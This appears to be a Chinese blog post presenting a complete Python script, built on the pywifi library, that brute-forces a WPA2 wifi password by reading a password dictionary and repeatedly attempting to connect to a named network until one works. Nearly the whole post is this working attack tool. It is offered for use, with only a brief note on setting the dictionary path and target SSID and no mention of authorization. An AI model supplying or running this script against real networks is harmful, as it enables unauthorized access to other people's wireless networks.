Python暴力破解wifi

根据文件暴力枚举wifi密码

import pywifi
from pywifi import const
import time

wifi = pywifi.PyWiFi()  #抓取网卡接口
iface = wifi.interfaces()[0] #抓取第一个无线网卡
iface.disconnect()  #测试链接断开所有链接

  #读取密码字典,进行匹配
def readPassWord(path,name):
    getFilePath =path
    get_wifissid = name
    pwdfilehander=open(getFilePath,"r",errors="ignore")
    while True:
        try:
          pwdStr =pwdfilehander.readline()
          if not pwdStr:
            break
          bool1=connect(pwdStr,get_wifissid)
          if bool1:
            res = "===正确===  wifi名:%s  匹配密码:%s "%(get_wifissid,pwdStr)
            print(res)
            break
          else:
            res = "---错误--- wifi名:%s匹配密码:%s"%(get_wifissid,pwdStr)
            print(res)
          sleep(3)
        except:
          continue
      
  #对wifi和密码进行匹配
def connect(pwd_Str,wifi_ssid):
    #创建wifi链接文件
    profile = pywifi.Profile()
    profile.ssid =wifi_ssid #wifi名称
    profile.auth = const.AUTH_ALG_OPEN  #网卡的开放
    profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
    profile.cipher = const.CIPHER_TYPE_CCMP    #加密单元
    profile.key = pwd_Str #密码
    iface.remove_all_network_profiles() #删除所有的wifi文件
    tmp_profile = iface.add_network_profile(profile)#设定新的链接文件
    iface.connect(tmp_profile)#链接
    time.sleep(5)
    if iface.status() == const.IFACE_CONNECTED:  #判断是否连接上
      isOK=True   
    else:
      isOK=False
    iface.disconnect() #断开
    time.sleep(1)
    #检查断开状态
    assert iface.status() in\
        [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    return isOK

if __name__ == '__main__':
    readPassWord(path="C:/Users/Administrator/Desktop/py/密码.txt",name="H3C_B55F14")



path是密码字典的路径,name是wifi名称

原文链接

你可能感兴趣的:(小功能,python)